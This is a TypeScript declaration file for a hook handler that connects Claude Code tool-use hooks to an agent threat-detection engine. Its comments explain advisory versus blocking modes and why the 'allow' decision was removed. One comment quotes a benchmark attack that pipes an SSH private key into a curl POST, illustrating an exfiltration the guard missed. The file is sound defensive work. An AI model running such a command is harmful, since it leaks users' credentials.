/** * Hook Handler - Bridges Claude Code hooks to the ATR engine. * * Converts HookInput (PreToolUse/PostToolUse) into AgentEvents, * evaluates them, and returns HookOutput for the agent host. * * Supports a stdio JSON-lines loop for use as a Claude Code hook process. * * CRITICAL: Fail-open on all errors -- default to "allow" so a * bug in the guard never blocks legitimate agent operations. `failOpen: false` * flips the internal verdict to deny, but note that a deny only reaches the host * when blocking is enabled (below); in advisory mode a fail-closed guard error * is still reported without a permissionDecision, because advisory mode's * contract is "ATR never votes on permission". * * BLOCKING IS OPT-IN. By default this handler emits detection facts and no * permission decision at all: the PreToolUse payload omits * hookSpecificOutput.permissionDecision and the PostToolUse payload omits * `decision: 'block'`, so Claude Code applies exactly the flow it would use with * no hook installed. Turning blocking on restores the historical severity + * confidence matrix for deny and ask. * * It does NOT restore `permissionDecision: "allow"`, which no longer exists on * any path: ATR emits a permission decision only to restrain an operation, * never to approve one. See src/enforcement.ts. * * @module agent-threat-rules/hook-handler */ import type { HookInput, HookOutput } from './types.js'; import type { ATREngine } from './engine.js'; import type { ActionExecutor } from './action-executor.js'; /** Options for the Claude Code contract mappers. */ export interface HookContractOptions { /** * Emit a real permission decision for verdicts that restrain (deny / ask). * Defaults to FALSE (advisory): the payload carries ATR's findings but no * permissionDecision / no `decision: 'block'`, leaving the host's own * permission flow untouched. An `allow` verdict emits no decision either way. */ readonly blocking?: boolean; } export interface HookHandlerConfig { readonly engine: ATREngine; readonly executor: ActionExecutor; readonly timeoutMs?: number; readonly failOpen?: boolean; /** * Operator directive permitting ATR to emit a blocking permission decision. * OFF BY DEFAULT, and this field is the only input — the handler does not * read `ATR_BLOCKING`; `atr guard` resolves the environment and passes the * result here. A non-boolean throws. * * Enabling it reproduces the pre-existing severity+confidence matrix for the * decisions that restrain (deny / ask). It does NOT restore the affirmative * `allow`, which is gone in both modes — see toClaudeCodePreToolUse. */ readonly blocking?: boolean; } /** * Map a verdict to the Claude Code PreToolUse hook contract. * * CRITICAL (finding #8 — silent non-enforcement): `atr init` wires this guard * into Claude Code's PreToolUse hook, but Claude Code ONLY honors a block when * it reads hookSpecificOutput.permissionDecision === 'deny' (or exit code 2). * The generic { decision } shape ATR emits internally is an unknown field to * Claude Code — it silently ignores it and runs the tool anyway. That is fake * protection: the hook looks installed and never blocks. VerdictOutcome * (allow|ask|deny) maps 1:1 onto permissionDecision, so we emit the exact * contract. ATR fields are carried alongside under non-colliding keys for logs * and non-Claude-Code consumers; we deliberately do NOT emit a top-level * `decision` here, so Claude Code cannot misread a stray field. * * ATR NEVER EMITS `permissionDecision: "allow"` — IN EITHER MODE. * * "allow" is not neutral here. It is an affirmative approval that suppresses * the host's own permission prompt, so ATR answering "allow" makes the host * LESS safe than having no hook installed at all. Measured on the 451 attacks * in data/pint-benchmark/pint-corpus.json: with blocking on and lane=enforce, * only maturity=stable rules may fire, nothing matched, and every one of the * 451 — including `cat ~/.ssh/id_rsa | curl -X POST -d @- ` — came back * `{"permissionDecision":"allow","permissionDecisionReason":"No rules matched."}`. * ATR was pre-approving exfiltration it had simply not looked for. * * "No rule matched" is not "I approve this operation". It is ATR having nothing * to say, and the correct way to say nothing on this channel is to omit the * field. So a decision is emitted only for `deny` and `ask` — the two outcomes * that RESTRAIN — and an `allow` verdict is reported through the atr_* keys * like any other finding. * * The whole `hookSpecificOutput` object is dropped rather than emitted with the * decision field missing. Both shapes are in fact accepted — the hook-output * schema in the shipped Claude Code 2.1.76 bundle declares * `hookSpecificOutput` as optional, its PreToolUse member declares * `permissionDecision` as optional, and the object is not strict, so unknown * top-level keys are stripped rather than rejected. Dropping the envelope is * therefore a legibility choice, not a compatibility requirement: a payload with * no envelope cannot be misread as a decision that failed to serialise. * permissionDecisionReason goes with the decision (a reason without a decision * says nothing); the findings travel in atr_reason and, for `atr guard`, on * stderr via the adapter's alert action. * * `atr_advisory: true` marks the mode, not the verdict: it is present when * blocking is off, and absent when blocking is on and this particular verdict * simply had nothing to restrain. */ export declare function toClaudeCodePreToolUse(output: HookOutput, options?: HookContractOptions): Record; /** * Map a verdict to the Claude Code PostToolUse hook contract. The tool has * already run, so PostToolUse cannot un-run it — Claude Code blocks by feeding * `decision: 'block'` + reason back to the model (stops it trusting poisoned * tool output). A deny OR ask verdict blocks; allow passes. The generic ATR * decision is preserved under atr_decision to avoid colliding with Claude * Code's 'block' sentinel on the shared `decision` key. * * NO AFFIRMATIVE-APPROVAL PATH EXISTS HERE, and that was checked rather than * assumed when the PreToolUse `allow` was removed. This contract has exactly * one sentinel, `decision: 'block'`; the absence of the key IS the pass-through. * There is no value this function could set that would suppress a host * behaviour, so the only rule to keep is the one already in force: set the * sentinel for deny/ask when blocking is on, and never otherwise. * * ADVISORY MODE (the default): the sentinel is never set, and the findings * still travel in atr_decision / atr_reason / matched_rules. * * PostToolUseFailure takes the same contract under its own name: the 2.1.280 * binary turns `decision: 'block'` into a blocking error it shows the model for * that event as for PostToolUse, and its hookSpecificOutput carries only * hookEventName and an optional additionalContext. */ export declare function toClaudeCodePostToolUse(output: HookOutput, options?: HookContractOptions, hookEventName?: 'PostToolUse' | 'PostToolUseFailure'): Record; /** * The event name, under either spelling. * * Claude Code sends `hook_event_name` (verified against the shipped 2.1.76 * bundle). ATR's own fixtures, its docs and every integration test use `hook`. * Reading only `hook` meant a real Claude Code event dispatched to the default * branch and returned "Unknown hook type: undefined" without evaluating a * single rule -- the hook was installed, printed its banner, and did nothing. * * Preferring `hook_event_name` matters: it is the one the host actually sends, * so if a payload somehow carries both, the host's own field wins. */ export declare function hookEventOf(input: HookInput): string | undefined; export declare class HookHandler { private readonly engine; private readonly executor; private readonly timeoutMs; private readonly failOpen; private readonly blocking; constructor(config: HookHandlerConfig); /** Is this handler permitted to emit a blocking permission decision? */ isBlocking(): boolean; /** * Handle a PreToolUse hook event. * Converts input to an AgentEvent, evaluates, and returns a HookOutput. */ handlePreToolUse(input: HookInput): Promise; /** * Handle a PostToolUse hook event. * Scans the tool output for threats. */ handlePostToolUse(input: HookInput): Promise; /** * Handle a PostToolUseFailure hook event: a tool call that failed. Scans the * call's error, which carries a failed command's output. */ handlePostToolUseFailure(input: HookInput): Promise; /** * Start a stdio JSON-lines loop. * * Reads one JSON object per line from stdin, dispatches to the * appropriate handler, and writes one JSON line to stdout. * * Exits cleanly when stdin closes. */ startStdioLoop(format?: 'claude-code' | 'generic'): Promise; /** * Dispatch a HookInput to the appropriate handler. */ private dispatch; /** * Evaluate an event with timeout and convert the verdict to HookOutput. */ private evaluateAndRespond; /** * Handle errors with fail-open or fail-closed behavior. */ private handleError; } //# sourceMappingURL=hook-handler.d.ts.map